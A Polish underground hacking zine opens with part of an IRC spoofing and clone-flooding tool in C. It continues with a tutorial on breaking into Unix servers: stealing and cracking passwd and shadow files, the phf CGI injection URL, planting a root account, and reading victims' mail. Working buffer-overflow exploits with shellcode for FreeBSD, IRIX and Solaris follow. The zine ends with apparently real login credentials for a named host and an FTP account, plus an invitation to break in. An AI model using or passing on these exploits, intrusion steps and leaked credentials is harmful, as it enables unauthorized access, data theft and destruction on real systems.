    /* Resolve the hosts IP # */
    if (resolve_host(s,&host)<0)
      exit(-1);

    mode=3;
    break;
  case 'O':
    parsearg(argv[++i],"%s:%d[7]",s,&port);

    if (resolve_host(s,&host)<0)
      exit(-1);

    mode=4;
    printf("Checking Operating System of %s\n",getdomainname(host));
    break;
  case 'I':
    parsearg(argv[++i],"%s:%d[6667]:%d[7]",s,&port,&spport);

    /* Resolve the IRC server's IP # */
    if (resolve_host(s,&host)<0)
      exit(-1);

    /* Check to see if they have specified a nick/username/gecos combo */
    if (i<(argc-1)) {
      nickname=argv[++i];
      parsearg(argv[++i],"%s@%s:%d[4567]",username,spoofhost,&fport);
      gecos=argv[++i];
    } else {
      /* First make a random nickname and username */
      do j=random()%NUMFIRST; while (!j);
      do k=random()%NUMLAST;  while (!k);
      nickname=newname(j,k);
```

```
          strcpy(username,nickname);

          /* Then make the gecos */
          sprintf(s,"%c%s %c%s",
            toupper(*first[j]), first[j] + 1,
            toupper(*last[k]), last[k] + 1);
          gecos=(char *)strdup(s);

          /* And lastely the random IP # */
          sprintf(spoofhost,"%d.%d.%d.%d",rand()&255,rand()&255,rand()&255,rand()&255);
        }

        /* Resolve the spoof'd host */
        if (resolve_host(spoofhost,&shost)<0)
          exit(-1);

        /* Then print out some info */
        printf("Connecting to IRC server %s port %d\n",getdomainname(host),port);
        printf("Nickname:  %s\n",nickname);
        printf("user@host: %s@%s\n",username,getdomainname(shost));
        printf("Irc Name:  %s\n",gecos);

        mode=1;
        break;
      case 'T':
        /* Check to see if this domain name has a port attached to it */
        parsearg(argv[++i],"%s:%d[23]",s,&port);

        /* Resolve the host's IP # */
        if (resolve_host(s,&host)<0)
          exit(-1);

        /* Resolve the spoof'd host */
        if (resolve_host(argv[++i],&shost)<0)
          exit(-1);

        printf("Creating \"telnet\" connection to %s port %d from
%s\n",getdomainname(host),port,getdomainname(shost));
        mode=2;
        break;
      case 'C':
        numclones=atoi(argv[++i]);
        if (i<(argc-1)) {
          serverlistfn=argv[++i];
          spooflistfn=argv[++i];
        } else {
          serverlistfn="servers.list";
          spooflistfn="spoofs.list";
        }
        printf("Creating %d clones using irc servers from file %s and ip's
from\n",numclones,serverlistfn,spooflistfn);
        mode=5;
        break;
      case 'F':
        flags |= FL_FLOODHOST;
        break;
      case 'D':
        flags |= FL_SPOOFIDENTD;
        break;
      case 'W':
        flags |= FL_WAITIDENTD;
        break;
    }
   }

   /* Make up a random ip identification */
   srand(time(NULL));
   ipident=rand()%20000;

   /* If it's IRC, then connect */
   switch (mode) {
     case 1:
      connectirc(flags,host,port,nickname,username,shost,fport,spport,gecos);
      break;
     case 2:
      connecttelnet(flags,host,port,shost);
      break;
     case 3:
      checksynflood(host,port);
      break;
     case 4:
      checkos(host,port);
      break;
     case 5:
      connectclones(flags,numclones,serverlistfn,spooflistfn);
      break;
     case 8:
      scanports(host,port,fport);
      break;
     case 10:
      checkipspoofable(host,port);
      break;
     case 11:
      checkport(host,port);
      break;
   }
```

}

--KUT HIR--

Passwd jak zdobyc i co z nimi zrobic

Na poczatek chcialem powiedziec ze nie mam w swej kolekcji duzo passwd moze 5 ,ale na jednym bylem mile zaskoczony Na 8 kont rozszyfrowalem 5 dzieki takim lamerom jak l:Magda p:Magda jesli juz macie takie passwd najpierw posprawdzajcie l:xxx p:xxx a moze root jest takim idiota ze l:root p:root he he he he ;) dobra jak juz macie konto to przegrajcie tam chmoda i cat postawcie exploita to zalezy tez od wersji Unixa , w dziale exploity zostawie troche na openbsd,irixa i inne a tymczasem odwoluje sie do faqa hellfire ale tylko dlatego ze nie chce mi sie pisac s

Copyright Hellfire

Wlamywanie - teoria

Na poczatek trzeba zalozyc co chcemy zrobic: proponuje zdobycie konta z uprawnieniami root-a. Zeby to zrobic musisz sie nieco poduczyc jak dziala UNIX:
plik passwd: znajduje sie najczesciej w katalogu /etc zawiera on dane uzytkownika, przykladowa linia pliku passwd:
hellfire:y57Sj.23/nJn7:133:100:Hell Fire:/hellfire:/bin/bash
ozancza ona uzytkownika hellfire o zakodowanym hasle y57Sj.23/nJn7, numer uzytkonika-133 , a grupa dostepu 100, prawdziwe dane to Hell Fire :)), katalog domowy /hellfire, a shell znajduje sie w /bin/bash. Czasami zamiast 13 znaczkow kodowanego hasla znajduje sie 'x' ,wtedu hasla znajduja sie w pliku /etc/shadow. Pierwsza metoda na wlamanie jest dopisanie linijki do pliku passwd np. takiej: hack::0:0:/:/bin/bash. Wtedy to uzytkownik o nazwie hack dostaje uprawnienia root-a. Proste nie? Nie! :)) To nie jest takie proste zwaszcza kiedy nie masz zadnago konta na serwerze, ale wszystko jeszcze przed toba. Mozna tez rozkodowywac znalezione w pliku passwd hasla przy pomocy programu John The Ripper , mozna tez wlamujac sie do duzych serwerow szukac lamerii, ktora lubi nazywac swoje konta bardzo podobnie do loginow lub dodajac na koncu jedynke (to jak serwer wymaga zeby podano w hasle jakies cyfry). Po znalezieniu dostepu do jakiegos konta trzeba pomyslec o dopisaniu w.w. linijki, a teraz juz szczegolowo:

Jak zdobyc plik passwd?

Jezeli znamy jakies konto na tym serwerze wystarczy do niego wejsc i napisac cat /etc/passwd i mamy plik passwd ,sprawa sie nieco komplikuje jak nie mamy tam zadnego konta. Wtedy mozna zaczac od obejrzenia stron www serwera, czesto jest tam spis uzytkownikow domeny, na pewno czesc z tych gosci jest lamerami i n.p. jak ktos nazywa sie john to haslo ma john1,john,nhoj itp.(chociaz

```
      ja lamiac kiedys jeden bardzo duzy serwer po zciagnieciu
      z niego okolo 250 kont  nie  rozszyfrowalem  zadnego  po
      mimo uzycia wordlisty 6 Mb a po przerobkach 68 Mb!)  gdy
      uda ci sie zlamac choc  jedno  zgrywaj  do  siebie  plik
      passwd i przejdz do nastepnego punktu. Jezeli jednak  ci
      sie nie  udalo  sproboj  uzyc  nastepujacych  adresow  w
      przegladarce www - w miejsce www.ofiara.com wpisz  nazwe
      serwera.
      http://www.ofiara.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
      lub
      http://www.ofiara.com/cgi-bin/php.cgi?/plik/do/przejrzenia

   Jak zdobyc plik shadow?

      Jezeli po zciagnieciu pliku passwd okazuje ze  hasla  sa
      shadowane tzn. sa  w pliku  /etc/shadow  to  sprawa  sie
      lekko komplikuje.  Najpierw  sprawdzamy  metody  ktorymi
      zdobylismy passwd  (cat,phf,php)  ale  skutecznosc  tych
      metod siega w porywach 1%.  Mozesz  jeszcze  poszukac  w
      roznych backup-ach na dysku (ja jak  wlamywalem  sie  do
      TPSA znalazlem zawartosc wszystkich plikow /etc/ w  kat.
      /disks/backup/IV1997/d13/all/etc/etc.tar :-) ).  Jak  ci
      sie uda to do John-a podlacz nie passwd tylko  shadow  i
      czekaj az cos zlamie.

    Mam konto... i co?

      Narazie mozesz  sie  zalogowac,  zobaczyc  co  gosc  tam
      trzyma, poczytac mu poczte, jak serwer jest lamerski,lub
      zlamales konto jakiegos goscia  z  duzymi  uprawnieniami
      mozesz sformatowac dyski itp. itd. mozesz  sie  postarac
      zalozyc sobie konto (komenda  adduser  lub  bezposrednio
      wpisac sie do pliku passwd).
```

---Ok a teraz obiecane exploity---

A to cos na FreeBsd :)

---KUT HIR---

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFFER_SIZE                                                      156
#define OFFSET                                                              -290

long get_esp(void) { __asm__("movl %esp,%eax\n"); }

main(int argc, char *argv[]) {

char *buf = NULL;

unsigned long *addr_ptr = NULL;
char *ptr = NULL;

char execshell[] =

"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"

"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"

"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"

"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

int i,j;

buf = malloc(4096);

i = BUFFER_SIZE-strlen(execshell);

memset(buf, 0x90, i);

ptr = buf + i;

for(i = 0; i < strlen(execshell); i++)

        *ptr++ =

addr_ptr = (long *)ptr;

for(i=0;i < (104/4); i++)

        *addr_ptr

ptr = (char *)addr_ptr;

*ptr = 0;

setenv("HOME", buf, 1);

execl("/usr/sbin/ppp", "ppp", NULL);
}
```

--KUT HIR--

Cos na irixa

---KUT HIR---

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      200
```

```
#define EXTRA           300
#define OFFSET          0x1b0
#define IRIX_NOP        0x03e0f825

#define u_long unsigned

u_long get_sp_code[] = {
    0x03a01025,0x03e00008,0x00000000,
};

u_long irix_shellcode[] = {
    0x24041234,0x2084edcc,0x0491fffe,0x03bd302a,0x23e4012c,0xa086feff,
    0x2084fef8,0x20850110,0xaca4fef8,0xaca6fefc,0x20a5fef8,0x240203f3,
    0x03ffffcc,0x2f62696e,0x2f7368ff,
};

char buf[BUF_LENGTH + EXTRA + 8];

void main(int argc, char **argv) {
    char *env[] = {NULL};
    u_long targ_addr, stack;
    u_long *long_p;
    int i, code_length = strlen((char *)irix_shellcode)+1;
    u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;
    stack = get_sp();
    long_p =(u_long *)  buf;
    targ_addr = stack + OFFSET;
    if (argc > 1)
      targ_addr += atoi(argv[1]);
    while ((targ_addr & 0xff000000) == 0 ||
           (targ_addr & 0x00ff0000) == 0 ||
           (targ_addr & 0x0000ff00) == 0 ||
           (targ_addr & 0x000000ff) == 0)
      targ_addr += 4;
    for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
        *long_p++ = IRIX_NOP;
    for (i = 0; i < code_length/sizeof(u_long); i++)
        *long_p++ = irix_shellcode[i];
    for (i = 0; i < EXTRA / sizeof(u_long); i++)
        *long_p++ = (targ_addr << 24) | (targ_addr >> 8);
    *long_p = 0;
    printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);
    execle("/bin/login", "login", "-h", &buf[1], 0, env);
    perror("execl failed");
}
```

---KUT HIR---

i nawet Solaris sie znalazl:

--KUT HIR--

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
```

```
#include <unistd.h>

#define BUF_LENGTH      1100
#define EXTRA           1200
#define STACK_OFFSET    3800
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff"
;

u_long get_sp(void) {
  __asm__("mov %sp,%i0 \n");
}


void main(int argc, char *argv[]) {
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),dso=0;
  if(argc > 1) dso=atoi(argv[1]);
  long_p =(u_long *)  buf;
    targ_addr = get_sp() - STACK_OFFSET - dso;
  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;
  char_p = (u_char *) long_p;
  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];
  long_p = (u_long *) char_p;
  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ =targ_addr;
  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
  targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
  execl("/bin/passwd", "passwd", buf,(char *) 0);
  perror("execl failed");
}
```

--KUT HIR--

Narazie koniec z exploitami a przynajmniej nie chce mi sie juz tu ich zamieszczac wiec narazie znajdzcie sobie jakies serwerki na Solarisa albo freeBSD i Hula :) no dobra skoncze dzisiaj

-----Nothing Special------

Jak chcecie troche wiecej exploitow piszcie pgolemo@polbox.com albo ftp-nijcie sie na l:wujkowie p:lancetnik
i posciagajcie co sie da dawno tam nie zagladalem ale wiem ze ludzie z hackingpl czesto zostawiaja tam to i owo

----Troche hacking account------
Dobra zobacz:

uznam.top.pl
l:hydroml p:hydroml
l:magda p:magda
l:konrad p:konrad
l:antonik p:antonik

nie chce mi sie pisac ,wejdz na jakiekolwiek sciagnij passwd pospisuj i posprawdzaj l:xxx p:xxx polowa kont tam m
same passwd co login jak uda ci sie zdobyc roota to daj znac ,a zreszta powalczcie sami !!!!!!! :)

---Greetings---

Dobra bede konczyl "mam nadzieje ze nie bylo totalnie lamersko "niektore materialy pochodza z dhsfaq sorki was z
nastepny faq bedzie lepszy wiele Jak chcecie mnie spotkac to zapraszam na serwer irc.dal.net na #hackingpl
apropo irc.dal.net jak chcecie zarzucic spoofera to wiem ze 1,2,3 nie chodzi nie wiem jak 4 jak wam sie uda dajcie z

Greet
"Int19h,Smyk,Mt666,Cyber,Phantom,Bajbi,Slicer,Sleid,Siemce,Slabik,Ravn,_3mil,w32stbam,guma,GHOST,Klev,C
s
jak kogos pominalem to sorki daj znac to osobiscie cie pozdrowie

c ya seen in next life

logout